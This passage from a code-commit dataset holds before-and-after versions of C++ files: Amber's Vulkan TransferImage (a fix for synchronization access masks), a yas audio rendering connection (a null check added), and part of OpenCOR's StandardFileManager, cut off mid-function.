std::vector<VkBufferImageCopy> copy_regions;\n uint32_t last_mip_level = used_mip_levels_ == VK_REMAINING_MIP_LEVELS\n ? mip_levels_\n : base_mip_level_ + used_mip_levels_;\n for (uint32_t i = base_mip_level_; i < last_mip_level; i++) {\n for (auto aspect : aspects) {\n if (aspect_ & aspect) {\n copy_regions.push_back(CreateBufferImageCopy(aspect, i));\n }\n }\n }\n\n device_->GetPtrs()->vkCmdCopyImageToBuffer(\n command_buffer->GetVkCommandBuffer(), image_,\n VK_IMAGE_LAYOUT_TRANSFER_SRC_OPTIMAL, host_accessible_buffer_,\n static_cast<uint32_t>(copy_regions.size()), copy_regions.data());\n\n MemoryBarrier(command_buffer);\n}\n\nvoid TransferImage::CopyToDevice(CommandBuffer* command_buffer) {\n \/\/ Copy operations don't support multisample images.\n if (samples_ > 1)\n return;\n\n const VkImageAspectFlagBits aspects[] = {VK_IMAGE_ASPECT_COLOR_BIT,\n VK_IMAGE_ASPECT_DEPTH_BIT,\n VK_IMAGE_ASPECT_STENCIL_BIT};\n std::vector<VkBufferImageCopy> copy_regions;\n uint32_t last_mip_level = used_mip_levels_ == VK_REMAINING_MIP_LEVELS\n ? mip_levels_\n : base_mip_level_ + used_mip_levels_;\n for (uint32_t i = base_mip_level_; i < last_mip_level; i++) {\n for (auto aspect : aspects) {\n if (aspect_ & aspect) {\n copy_regions.push_back(CreateBufferImageCopy(aspect, i));\n }\n }\n }\n\n device_->GetPtrs()->vkCmdCopyBufferToImage(\n command_buffer->GetVkCommandBuffer(), host_accessible_buffer_, image_,\n VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL,\n static_cast<uint32_t>(copy_regions.size()), copy_regions.data());\n\n MemoryBarrier(command_buffer);\n}\n\nvoid TransferImage::ImageBarrier(CommandBuffer* command_buffer,\n VkImageLayout to_layout,\n VkPipelineStageFlags to_stage) {\n if (to_layout == layout_ && to_stage == stage_)\n return;\n\n VkImageMemoryBarrier barrier = VkImageMemoryBarrier();\n barrier.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_BARRIER;\n barrier.oldLayout = layout_;\n barrier.newLayout = to_layout;\n barrier.srcQueueFamilyIndex = VK_QUEUE_FAMILY_IGNORED;\n barrier.dstQueueFamilyIndex = VK_QUEUE_FAMILY_IGNORED;\n barrier.image = image_;\n barrier.subresourceRange = {\n aspect_, \/* aspectMask *\/\n 0, \/* baseMipLevel *\/\n VK_REMAINING_MIP_LEVELS, \/* levelCount *\/\n 0, \/* baseArrayLayer *\/\n 1, \/* layerCount *\/\n };\n\n switch (layout_) {\n case VK_IMAGE_LAYOUT_PREINITIALIZED:\n barrier.srcAccessMask = VK_ACCESS_HOST_WRITE_BIT;\n break;\n case VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL:\n barrier.srcAccessMask = VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT;\n break;\n case VK_IMAGE_LAYOUT_DEPTH_STENCIL_ATTACHMENT_OPTIMAL:\n barrier.srcAccessMask = VK_ACCESS_DEPTH_STENCIL_ATTACHMENT_WRITE_BIT;\n break;\n case VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL:\n barrier.srcAccessMask = VK_ACCESS_TRANSFER_WRITE_BIT;\n break;\n case VK_IMAGE_LAYOUT_TRANSFER_SRC_OPTIMAL:\n barrier.srcAccessMask = VK_ACCESS_TRANSFER_READ_BIT;\n break;\n default:\n barrier.srcAccessMask = 0;\n break;\n }\n\n switch (to_layout) {\n case VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL:\n barrier.dstAccessMask = VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT;\n break;\n case VK_IMAGE_LAYOUT_DEPTH_STENCIL_ATTACHMENT_OPTIMAL:\n barrier.dstAccessMask = VK_ACCESS_DEPTH_STENCIL_ATTACHMENT_WRITE_BIT;\n break;\n case VK_IMAGE_LAYOUT_DEPTH_STENCIL_READ_ONLY_OPTIMAL:\n barrier.dstAccessMask = VK_ACCESS_DEPTH_STENCIL_ATTACHMENT_READ_BIT;\n break;\n case VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL:\n barrier.dstAccessMask = VK_ACCESS_SHADER_READ_BIT;\n break;\n case VK_IMAGE_LAYOUT_TRANSFER_SRC_OPTIMAL:\n barrier.dstAccessMask = VK_ACCESS_TRANSFER_READ_BIT;\n break;\n case VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL:\n barrier.dstAccessMask = VK_ACCESS_TRANSFER_WRITE_BIT;\n break;\n default:\n barrier.dstAccessMask = 0;\n break;\n }\n\n device_->GetPtrs()->vkCmdPipelineBarrier(command_buffer->GetVkCommandBuffer(),\n stage_, to_stage, 0, 0, NULL, 0,\n NULL, 1, &barrier);\n\n layout_ = to_layout;\n stage_ = to_stage;\n}\n\nResult TransferImage::AllocateAndBindMemoryToVkImage(\n VkImage image,\n VkDeviceMemory* memory,\n VkMemoryPropertyFlags flags,\n bool force_flags,\n uint32_t* memory_type_index) {\n if (memory_type_index == nullptr) {\n return Result(\n \"Vulkan: TransferImage::AllocateAndBindMemoryToVkImage \"\n \"memory_type_index is \"\n \"nullptr\");\n }\n\n *memory_type_index = 0;\n\n if (image == VK_NULL_HANDLE)\n return Result(\"Vulkan::Given VkImage is VK_NULL_HANDLE\");\n if (memory == nullptr)\n return Result(\"Vulkan::Given VkDeviceMemory pointer is nullptr\");\n\n VkMemoryRequirements requirement;\n device_->GetPtrs()->vkGetImageMemoryRequirements(device_->GetVkDevice(),\n image, &requirement);\n\n *memory_type_index =\n ChooseMemory(requirement.memoryTypeBits, flags, force_flags);\n if (*memory_type_index == std::numeric_limits<uint32_t>::max())\n return Result(\"Vulkan::Find Proper Memory Fail\");\n\n Result r = AllocateMemory(memory, requirement.size, *memory_type_index);\n if (!r.IsSuccess())\n return r;\n\n if (device_->GetPtrs()->vkBindImageMemory(device_->GetVkDevice(), image,\n *memory, 0) != VK_SUCCESS) {\n return Result(\"Vulkan::Calling vkBindImageMemory Fail\");\n }\n\n return {};\n}\n\n} \/\/ namespace vulkan\n} \/\/ namespace amber\n<commit_msg>Fix Vulkan synchronization validation errors (#926)<commit_after>\/\/ Copyright 2018 The Amber Authors.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"src\/vulkan\/transfer_image.h\"\n\n#include <cstring>\n#include <limits>\n#include <vector>\n\n#include \"src\/vulkan\/command_buffer.h\"\n#include \"src\/vulkan\/device.h\"\n\nnamespace amber {\nnamespace vulkan {\nnamespace {\n\nconst VkImageCreateInfo kDefaultImageInfo = {\n VK_STRUCTURE_TYPE_IMAGE_CREATE_INFO, \/* sType *\/\n nullptr, \/* pNext *\/\n 0, \/* flags *\/\n VK_IMAGE_TYPE_2D, \/* imageType *\/\n VK_FORMAT_R8G8B8A8_UNORM, \/* format *\/\n {250, 250, 1}, \/* extent *\/\n 1, \/* mipLevels *\/\n 1, \/* arrayLayers *\/\n VK_SAMPLE_COUNT_1_BIT, \/* samples *\/\n VK_IMAGE_TILING_OPTIMAL, \/* tiling *\/\n 0, \/* usage *\/\n VK_SHARING_MODE_EXCLUSIVE, \/* sharingMode *\/\n 0, \/* queueFamilyIndexCount *\/\n nullptr, \/* pQueueFamilyIndices *\/\n VK_IMAGE_LAYOUT_UNDEFINED, \/* initialLayout *\/\n};\n\nVkSampleCountFlagBits GetVkSampleCount(uint32_t samples) {\n switch (samples) {\n case 1u:\n return VK_SAMPLE_COUNT_1_BIT;\n case 2u:\n return VK_SAMPLE_COUNT_2_BIT;\n case 4u:\n return VK_SAMPLE_COUNT_4_BIT;\n case 8u:\n return VK_SAMPLE_COUNT_8_BIT;\n case 16u:\n return VK_SAMPLE_COUNT_16_BIT;\n case 32u:\n return VK_SAMPLE_COUNT_32_BIT;\n case 64u:\n return VK_SAMPLE_COUNT_64_BIT;\n }\n\n return VK_SAMPLE_COUNT_FLAG_BITS_MAX_ENUM;\n}\n\n} \/\/ namespace\n\nTransferImage::TransferImage(Device* device,\n const Format& format,\n VkImageAspectFlags aspect,\n VkImageType image_type,\n uint32_t x,\n uint32_t y,\n uint32_t z,\n uint32_t mip_levels,\n uint32_t base_mip_level,\n uint32_t used_mip_levels,\n uint32_t samples)\n : Resource(device, x * y * z * format.SizeInBytes()),\n image_info_(kDefaultImageInfo),\n aspect_(aspect),\n mip_levels_(mip_levels),\n base_mip_level_(base_mip_level),\n used_mip_levels_(used_mip_levels),\n samples_(samples) {\n image_info_.format = device_->GetVkFormat(format);\n image_info_.imageType = image_type;\n image_info_.extent = {x, y, z};\n image_info_.mipLevels = mip_levels;\n image_info_.samples = GetVkSampleCount(samples);\n}\n\nTransferImage::~TransferImage() {\n if (view_ != VK_NULL_HANDLE) {\n device_->GetPtrs()->vkDestroyImageView(device_->GetVkDevice(), view_,\n nullptr);\n }\n\n if (image_ != VK_NULL_HANDLE)\n device_->GetPtrs()->vkDestroyImage(device_->GetVkDevice(), image_, nullptr);\n\n if (memory_ != VK_NULL_HANDLE)\n device_->GetPtrs()->vkFreeMemory(device_->GetVkDevice(), memory_, nullptr);\n\n if (host_accessible_memory_ != VK_NULL_HANDLE) {\n UnMapMemory(host_accessible_memory_);\n device_->GetPtrs()->vkFreeMemory(device_->GetVkDevice(),\n host_accessible_memory_, nullptr);\n }\n\n if (host_accessible_buffer_ != VK_NULL_HANDLE) {\n device_->GetPtrs()->vkDestroyBuffer(device_->GetVkDevice(),\n host_accessible_buffer_, nullptr);\n }\n}\n\nResult TransferImage::Initialize(VkImageUsageFlags usage) {\n if (image_ != VK_NULL_HANDLE)\n return Result(\"Vulkan::TransferImage was already initialized\");\n\n image_info_.usage = usage;\n\n if (device_->GetPtrs()->vkCreateImage(device_->GetVkDevice(), &image_info_,\n nullptr, &image_) != VK_SUCCESS) {\n return Result(\"Vulkan::Calling vkCreateImage Fail\");\n }\n\n uint32_t memory_type_index = 0;\n Result r = AllocateAndBindMemoryToVkImage(image_, &memory_,\n VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT,\n false, &memory_type_index);\n if (!r.IsSuccess())\n return r;\n\n if (aspect_ & (VK_IMAGE_ASPECT_DEPTH_BIT | VK_IMAGE_ASPECT_STENCIL_BIT) &&\n !(usage & VK_IMAGE_USAGE_DEPTH_STENCIL_ATTACHMENT_BIT)) {\n \/\/ Combined depth\/stencil image used as a descriptor. Only one aspect can be\n \/\/ used for the image view.\n r = CreateVkImageView(VK_IMAGE_ASPECT_DEPTH_BIT);\n } else {\n r = CreateVkImageView(aspect_);\n }\n\n if (!r.IsSuccess())\n return r;\n\n \/\/ For images, we always make a secondary buffer. When the tiling of an image\n \/\/ is optimal, read\/write data from CPU does not show correct values. We need\n \/\/ a secondary buffer to convert the GPU-optimal data to CPU-readable data\n \/\/ and vice versa.\n r = CreateVkBuffer(\n &host_accessible_buffer_,\n VK_BUFFER_USAGE_TRANSFER_SRC_BIT | VK_BUFFER_USAGE_TRANSFER_DST_BIT);\n if (!r.IsSuccess())\n return r;\n\n memory_type_index = 0;\n r = AllocateAndBindMemoryToVkBuffer(host_accessible_buffer_,\n &host_accessible_memory_,\n VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT |\n VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,\n true, &memory_type_index);\n if (!r.IsSuccess())\n return r;\n\n return MapMemory(host_accessible_memory_);\n}\n\nVkImageViewType TransferImage::GetImageViewType() const {\n \/\/ TODO(alan-baker): handle other view types.\n \/\/ 1D-array, 2D-array, Cube, Cube-array.\n switch (image_info_.imageType) {\n case VK_IMAGE_TYPE_1D:\n return VK_IMAGE_VIEW_TYPE_1D;\n case VK_IMAGE_TYPE_2D:\n return VK_IMAGE_VIEW_TYPE_2D;\n case VK_IMAGE_TYPE_3D:\n return VK_IMAGE_VIEW_TYPE_3D;\n default:\n break;\n }\n\n \/\/ Default to 2D image view.\n return VK_IMAGE_VIEW_TYPE_2D;\n}\n\nResult TransferImage::CreateVkImageView(VkImageAspectFlags aspect) {\n VkImageViewCreateInfo image_view_info = VkImageViewCreateInfo();\n image_view_info.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO;\n image_view_info.image = image_;\n image_view_info.viewType = GetImageViewType();\n image_view_info.format = image_info_.format;\n image_view_info.components = {\n VK_COMPONENT_SWIZZLE_R,\n VK_COMPONENT_SWIZZLE_G,\n VK_COMPONENT_SWIZZLE_B,\n VK_COMPONENT_SWIZZLE_A,\n };\n image_view_info.subresourceRange = {\n aspect, \/* aspectMask *\/\n base_mip_level_, \/* baseMipLevel *\/\n used_mip_levels_, \/* levelCount *\/\n 0, \/* baseArrayLayer *\/\n 1, \/* layerCount *\/\n };\n\n if (device_->GetPtrs()->vkCreateImageView(device_->GetVkDevice(),\n &image_view_info, nullptr,\n &view_) != VK_SUCCESS) {\n return Result(\"Vulkan::Calling vkCreateImageView Fail\");\n }\n\n return {};\n}\n\nVkBufferImageCopy TransferImage::CreateBufferImageCopy(\n VkImageAspectFlags aspect,\n uint32_t mip_level) {\n VkBufferImageCopy copy_region = VkBufferImageCopy();\n if (aspect == VK_IMAGE_ASPECT_STENCIL_BIT) {\n \/\/ Store stencil data at the end of the buffer after depth data.\n copy_region.bufferOffset =\n GetSizeInBytes() - image_info_.extent.width * image_info_.extent.height;\n } else {\n copy_region.bufferOffset = 0;\n }\n \/\/ Row length of 0 results in tight packing of rows, so the row stride\n \/\/ is the number of texels times the texel stride.\n copy_region.bufferRowLength = 0;\n copy_region.bufferImageHeight = 0;\n copy_region.imageSubresource = {\n aspect, \/* aspectMask *\/\n mip_level, \/* mipLevel *\/\n 0, \/* baseArrayLayer *\/\n 1, \/* layerCount *\/\n };\n copy_region.imageOffset = {0, 0, 0};\n copy_region.imageExtent = {image_info_.extent.width >> mip_level,\n image_info_.extent.height >> mip_level,\n image_info_.extent.depth};\n return copy_region;\n}\n\nvoid TransferImage::CopyToHost(CommandBuffer* command_buffer) {\n const VkImageAspectFlagBits aspects[] = {VK_IMAGE_ASPECT_COLOR_BIT,\n VK_IMAGE_ASPECT_DEPTH_BIT,\n VK_IMAGE_ASPECT_STENCIL_BIT};\n \/\/ Copy operations don't support multisample images.\n if (samples_ > 1)\n return;\n\n std::vector<VkBufferImageCopy> copy_regions;\n uint32_t last_mip_level = used_mip_levels_ == VK_REMAINING_MIP_LEVELS\n ? mip_levels_\n : base_mip_level_ + used_mip_levels_;\n for (uint32_t i = base_mip_level_; i < last_mip_level; i++) {\n for (auto aspect : aspects) {\n if (aspect_ & aspect) {\n copy_regions.push_back(CreateBufferImageCopy(aspect, i));\n }\n }\n }\n\n device_->GetPtrs()->vkCmdCopyImageToBuffer(\n command_buffer->GetVkCommandBuffer(), image_,\n VK_IMAGE_LAYOUT_TRANSFER_SRC_OPTIMAL, host_accessible_buffer_,\n static_cast<uint32_t>(copy_regions.size()), copy_regions.data());\n\n MemoryBarrier(command_buffer);\n}\n\nvoid TransferImage::CopyToDevice(CommandBuffer* command_buffer) {\n \/\/ Copy operations don't support multisample images.\n if (samples_ > 1)\n return;\n\n const VkImageAspectFlagBits aspects[] = {VK_IMAGE_ASPECT_COLOR_BIT,\n VK_IMAGE_ASPECT_DEPTH_BIT,\n VK_IMAGE_ASPECT_STENCIL_BIT};\n std::vector<VkBufferImageCopy> copy_regions;\n uint32_t last_mip_level = used_mip_levels_ == VK_REMAINING_MIP_LEVELS\n ? mip_levels_\n : base_mip_level_ + used_mip_levels_;\n for (uint32_t i = base_mip_level_; i < last_mip_level; i++) {\n for (auto aspect : aspects) {\n if (aspect_ & aspect) {\n copy_regions.push_back(CreateBufferImageCopy(aspect, i));\n }\n }\n }\n\n device_->GetPtrs()->vkCmdCopyBufferToImage(\n command_buffer->GetVkCommandBuffer(), host_accessible_buffer_, image_,\n VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL,\n static_cast<uint32_t>(copy_regions.size()), copy_regions.data());\n\n MemoryBarrier(command_buffer);\n}\n\nvoid TransferImage::ImageBarrier(CommandBuffer* command_buffer,\n VkImageLayout to_layout,\n VkPipelineStageFlags to_stage) {\n if (to_layout == layout_ && to_stage == stage_)\n return;\n\n VkImageMemoryBarrier barrier = VkImageMemoryBarrier();\n barrier.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_BARRIER;\n barrier.oldLayout = layout_;\n barrier.newLayout = to_layout;\n barrier.srcQueueFamilyIndex = VK_QUEUE_FAMILY_IGNORED;\n barrier.dstQueueFamilyIndex = VK_QUEUE_FAMILY_IGNORED;\n barrier.image = image_;\n barrier.subresourceRange = {\n aspect_, \/* aspectMask *\/\n 0, \/* baseMipLevel *\/\n VK_REMAINING_MIP_LEVELS, \/* levelCount *\/\n 0, \/* baseArrayLayer *\/\n 1, \/* layerCount *\/\n };\n\n switch (layout_) {\n case VK_IMAGE_LAYOUT_PREINITIALIZED:\n barrier.srcAccessMask = VK_ACCESS_HOST_WRITE_BIT;\n break;\n case VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL:\n barrier.srcAccessMask = VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT;\n break;\n case VK_IMAGE_LAYOUT_DEPTH_STENCIL_ATTACHMENT_OPTIMAL:\n barrier.srcAccessMask = VK_ACCESS_DEPTH_STENCIL_ATTACHMENT_WRITE_BIT;\n break;\n case VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL:\n barrier.srcAccessMask = VK_ACCESS_TRANSFER_WRITE_BIT;\n break;\n case VK_IMAGE_LAYOUT_TRANSFER_SRC_OPTIMAL:\n barrier.srcAccessMask = VK_ACCESS_TRANSFER_READ_BIT;\n break;\n default:\n barrier.srcAccessMask = 0;\n break;\n }\n\n switch (to_layout) {\n case VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL:\n barrier.dstAccessMask = VK_ACCESS_COLOR_ATTACHMENT_READ_BIT |\n VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT;\n break;\n case VK_IMAGE_LAYOUT_DEPTH_STENCIL_ATTACHMENT_OPTIMAL:\n barrier.dstAccessMask = VK_ACCESS_DEPTH_STENCIL_ATTACHMENT_READ_BIT |\n VK_ACCESS_DEPTH_STENCIL_ATTACHMENT_WRITE_BIT;\n break;\n case VK_IMAGE_LAYOUT_DEPTH_STENCIL_READ_ONLY_OPTIMAL:\n barrier.dstAccessMask = VK_ACCESS_DEPTH_STENCIL_ATTACHMENT_READ_BIT;\n break;\n case VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL:\n barrier.dstAccessMask = VK_ACCESS_SHADER_READ_BIT;\n break;\n case VK_IMAGE_LAYOUT_TRANSFER_SRC_OPTIMAL:\n barrier.dstAccessMask = VK_ACCESS_TRANSFER_READ_BIT;\n break;\n case VK_IMAGE_LAYOUT_TRANSFER_DST_OPTIMAL:\n barrier.dstAccessMask = VK_ACCESS_TRANSFER_WRITE_BIT;\n break;\n default:\n barrier.dstAccessMask = 0;\n break;\n }\n\n device_->GetPtrs()->vkCmdPipelineBarrier(command_buffer->GetVkCommandBuffer(),\n stage_, to_stage, 0, 0, NULL, 0,\n NULL, 1, &barrier);\n\n layout_ = to_layout;\n stage_ = to_stage;\n}\n\nResult TransferImage::AllocateAndBindMemoryToVkImage(\n VkImage image,\n VkDeviceMemory* memory,\n VkMemoryPropertyFlags flags,\n bool force_flags,\n uint32_t* memory_type_index) {\n if (memory_type_index == nullptr) {\n return Result(\n \"Vulkan: TransferImage::AllocateAndBindMemoryToVkImage \"\n \"memory_type_index is \"\n \"nullptr\");\n }\n\n *memory_type_index = 0;\n\n if (image == VK_NULL_HANDLE)\n return Result(\"Vulkan::Given VkImage is VK_NULL_HANDLE\");\n if (memory == nullptr)\n return Result(\"Vulkan::Given VkDeviceMemory pointer is nullptr\");\n\n VkMemoryRequirements requirement;\n device_->GetPtrs()->vkGetImageMemoryRequirements(device_->GetVkDevice(),\n image, &requirement);\n\n *memory_type_index =\n ChooseMemory(requirement.memoryTypeBits, flags, force_flags);\n if (*memory_type_index == std::numeric_limits<uint32_t>::max())\n return Result(\"Vulkan::Find Proper Memory Fail\");\n\n Result r = AllocateMemory(memory, requirement.size, *memory_type_index);\n if (!r.IsSuccess())\n return r;\n\n if (device_->GetPtrs()->vkBindImageMemory(device_->GetVkDevice(), image,\n *memory, 0) != VK_SUCCESS) {\n return Result(\"Vulkan::Calling vkBindImageMemory Fail\");\n }\n\n return {};\n}\n\n} \/\/ namespace vulkan\n} \/\/ namespace amber\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ yas_audio_rendering_connection.cpp\n\/\/\n\n#include \"yas_audio_rendering_connection.h\"\n\n#include \"yas_audio_rendering_node.h\"\n\nusing namespace yas;\n\naudio::rendering_connection::rendering_connection(uint32_t const src_bus_idx, rendering_node const *const src_node,\n audio::format const format)\n : source_bus_idx(src_bus_idx), source_node(src_node), format(std::move(format)) {\n}\n\nbool audio::rendering_connection::render(audio::pcm_buffer *const buffer, audio::time const &time) const {\n if (buffer->format() != this->format) {\n return false;\n }\n\n this->source_node->render_handler()({.buffer = buffer,\n .bus_idx = this->source_bus_idx,\n .time = time,\n .source_connections = this->source_node->source_connections()});\n\n return true;\n}\n<commit_msg>fix connection<commit_after>\/\/\n\/\/ yas_audio_rendering_connection.cpp\n\/\/\n\n#include \"yas_audio_rendering_connection.h\"\n\n#include \"yas_audio_rendering_node.h\"\n\nusing namespace yas;\n\naudio::rendering_connection::rendering_connection(uint32_t const src_bus_idx, rendering_node const *const src_node,\n audio::format const format)\n : source_bus_idx(src_bus_idx), source_node(src_node), format(std::move(format)) {\n}\n\nbool audio::rendering_connection::render(audio::pcm_buffer *const buffer, audio::time const &time) const {\n if (buffer->format() != this->format) {\n return false;\n }\n\n if (!this->source_node) {\n return false;\n }\n\n this->source_node->render_handler()({.buffer = buffer,\n .bus_idx = this->source_bus_idx,\n .time = time,\n .source_connections = this->source_node->source_connections()});\n\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\n\nLicensed to the OpenCOR team under one or more contributor license agreements.\nSee the NOTICE.txt file distributed with this work for additional information\nregarding copyright ownership. The OpenCOR team licenses this file to you under\nthe Apache License, Version 2.0 (the \"License\"); you may not use this file\nexcept in compliance with the License. You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software distributed\nunder the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\nCONDITIONS OF ANY KIND, either express or implied. See the License for the\nspecific language governing permissions and limitations under the License.\n\n*******************************************************************************\/\n\n\/\/==============================================================================\n\/\/ Standard file manager\n\/\/==============================================================================\n\n#include \"corecliutils.h\"\n#include \"filemanager.h\"\n#include \"standardfilemanager.h\"\n#include \"standardsupportplugin.h\"\n\n\/\/==============================================================================\n\nnamespace OpenCOR {\nnamespace StandardSupport {\n\n\/\/==============================================================================\n\nStandardFileManager::StandardFileManager() :\n mFiles(Files())\n{\n \/\/ Create some connections to keep track of some events related to our\n \/\/ 'global' file manager\n\n Core::FileManager *fileManagerInstance = Core::FileManager::instance();\n\n connect(fileManagerInstance, SIGNAL(fileManaged(const QString &)),\n this, SLOT(manageFile(const QString &)));\n connect(fileManagerInstance, SIGNAL(fileUnmanaged(const QString &)),\n this, SLOT(unmanageFile(const QString &)));\n\n connect(fileManagerInstance, SIGNAL(fileReloaded(const QString &)),\n this, SLOT(reloadFile(const QString &)));\n\n connect(fileManagerInstance, SIGNAL(fileRenamed(const QString &, const QString &)),\n this, SLOT(renameFile(const QString &, const QString &)));\n}\n\n\/\/==============================================================================\n\nStandardFileManager::~StandardFileManager()\n{\n \/\/ Remove all the managed files\n\n foreach (QObject *file, mFiles)\n delete file;\n}\n\n\/\/==============================================================================\n\nbool StandardFileManager::isFile(const QString &pFileName)\n{\n \/\/ If the given file is already managed, then we consider that it's of the\n \/\/ right type (e.g. CellML file), even though it may not be of the right\n \/\/ type anymore after having been edited and saved, but in this case it's\n \/\/ good to keep considering the file as of the right type, so that the user\n \/\/ can continue editing it without any problem, for example\n\n QString nativeFileName = Core::nativeCanonicalFileName(pFileName);\n\n if (file(nativeFileName))\n return true;\n\n \/\/ The given file is not managed, so do the following:\n \/\/ - Check whether it is a text file and consider it of the right type if,\n \/\/ after having been trimmed, it is empty, or check whether it can be\n \/\/ loaded\n \/\/ - Check whether it is a binary file and consider it of the right type if\n \/\/ it can be loaded\n \/\/ - Consider the file of the right type if it is new\n\n if (Core::isTextFile(nativeFileName)) {\n QByteArray fileContents;\n\n if (Core::readFileContentsFromFile(nativeFileName, fileContents)) {\n if (fileContents.trimmed().isEmpty())\n return true;\n\n return canLoadFile(nativeFileName);\n } else {\n return false;\n }\n } else if (canLoadFile(nativeFileName)) {\n return true;\n } else {\n return Core::FileManager::instance()->isNew(nativeFileName);\n }\n}\n\n\/\/==============================================================================\n\nQObject * StandardFileManager::file(const QString &pFileName)\n{\n \/\/ Return the File object, if any, associated with the given file\n\n return mFiles.value(Core::nativeCanonicalFileName(pFileName));\n}\n\n\/\/==============================================================================\n\nvoid StandardFileManager::manageFile(const QString &pFileName)\n{\n QString nativeFileName = Core::nativeCanonicalFileName(pFileName);\n\n if (!file(nativeFileName) && isFile(nativeFileName)) {\n \/\/ We are dealing with a file, which is not already managed, so we can\n \/\/ add it to our list of managed files\n\n mFiles.insert(nativeFileName, newFile(nativeFileName));\n }\n}\n\n\/\/==============================================================================\n\nvoid StandardFileManager::unmanageFile(const QString &pFileName)\n{\n QObject *crtFile = file(pFileName);\n\n if (crtFile) {\n \/\/ We are dealing with a file, so we can remove it from our list of\n \/\/ managed files after having deleted it\n\n delete crtFile;\n\n mFiles.remove(Core::nativeCanonicalFileName(pFileName));\n }\n}\n\n\/\/==============================================================================\n\nvoid StandardFileManager::reloadFile(const QString &pFileName)\n{\n \/\/ The file is to be reloaded, so reload it\n \/\/ Note: to reload a file here ensures that our different standard-based\n \/\/ views won't each do it, thus saving time and ensuring that a\n \/\/ standard-based view doesn't forget to do it...\n\n QObject *crtFile = file(pFileName);\n\n if (crtFile) {\n \/\/ The file is managed, but should it still be (i.e. can it still be\n \/\/ considered as being a file)?\n\n if (isFile(pFileName))\n static_cast<StandardFile *>(crtFile)->reload();\n else\n unmanageFile(pFileName);\n } else {\n \/\/ The file is not managed, which means that previously it wasn't\n \/\/ considered as being a file, but things may be different now, so try\n \/\/ to remanage it and load it, if possible\n\n manageFile(pFileName);\n\n crtFile = file(pFileName);\n\n if (crtFile)\n static_cast<StandardFile *>(crtFile)->load();\n }\n}\n\n\/\/==============================================================================\n\nvoid StandardFileManager::renameFile(const QString &pOldFileName,\n const QString &pNewFileName)\n{\n \/\/ The file has been renamed, so we need to update our files mapping, if\n \/\/ needed\n\n QObject *crtFile = file(pOldFileName);\n\n if (!crtFile)\n return;\n\n mFiles.insert(pNewFileName, crtFile);\n mFiles.remove(pOldFileName);\n\n \/\/ We also need to ensure that our file object has its file name updated\n\n static_cast<StandardFile *>(crtFile)->setFileName(pNewFileName);\n}\n\n\/\/==============================================================================\n\n} \/\/ namespace StandardSupport\n} \/\/ namespace OpenCOR\n\n\/\/==============================================================================\n\/\/ End of file\n\/\/==============================================================================\n<commit_msg>Standard file manager: revised StandardFileManager::isFile() so that it doesn't consider new files being necessarily of the right type (useful when duplicating a file) [ci skip].<commit_after>\/*******************************************************************************\n\nLicensed to the OpenCOR team under one or more contributor license agreements.\nSee the NOTICE.txt file distributed with this work for additional information\nregarding copyright ownership. The OpenCOR team licenses this file to you under\nthe Apache License, Version 2.0 (the \"License\"); you may not use this file\nexcept in compliance with the License. You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software distributed\nunder the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\nCONDITIONS OF ANY KIND, either express or implied. See the License for the\nspecific language governing permissions and limitations under the License.\n\n*******************************************************************************\/\n\n\/\/==============================================================================\n\/\/ Standard file manager\n\/\/==============================================================================\n\n#include \"corecliutils.h\"\n#include \"filemanager.h\"\n#include \"standardfilemanager.h\"\n#include \"standardsupportplugin.h\"\n\n\/\/==============================================================================\n\nnamespace OpenCOR {\nnamespace StandardSupport {\n\n\/\/==============================================================================\n\nStandardFileManager::StandardFileManager() :\n mFiles(Files())\n{\n \/\/ Create some connections to keep track of some events related to our\n \/\/ 'global' file manager\n\n Core::FileManager *fileManagerInstance = Core::FileManager::instance();\n\n connect(fileManagerInstance, SIGNAL(fileManaged(const QString &)),\n this, SLOT(manageFile(const QString &)));\n connect(fileManagerInstance, SIGNAL(fileUnmanaged(const QString &)),\n this, SLOT(unmanageFile(const QString &)));\n\n connect(fileManagerInstance, SIGNAL(fileReloaded(const QString &)),\n this, SLOT(reloadFile(const QString &)));\n\n connect(fileManagerInstance, SIGNAL(fileRenamed(const QString &, const QString &)),\n this, SLOT(renameFile(const QString &, const QString &)));\n}\n\n\/\/==============================================================================\n\nStandardFileManager::~StandardFileManager()\n{\n \/\/ Remove all the managed files\n\n foreach (QObject *file, mFiles)\n delete file;\n}\n\n\/\/==============================================================================\n\nbool StandardFileManager::isFile(const 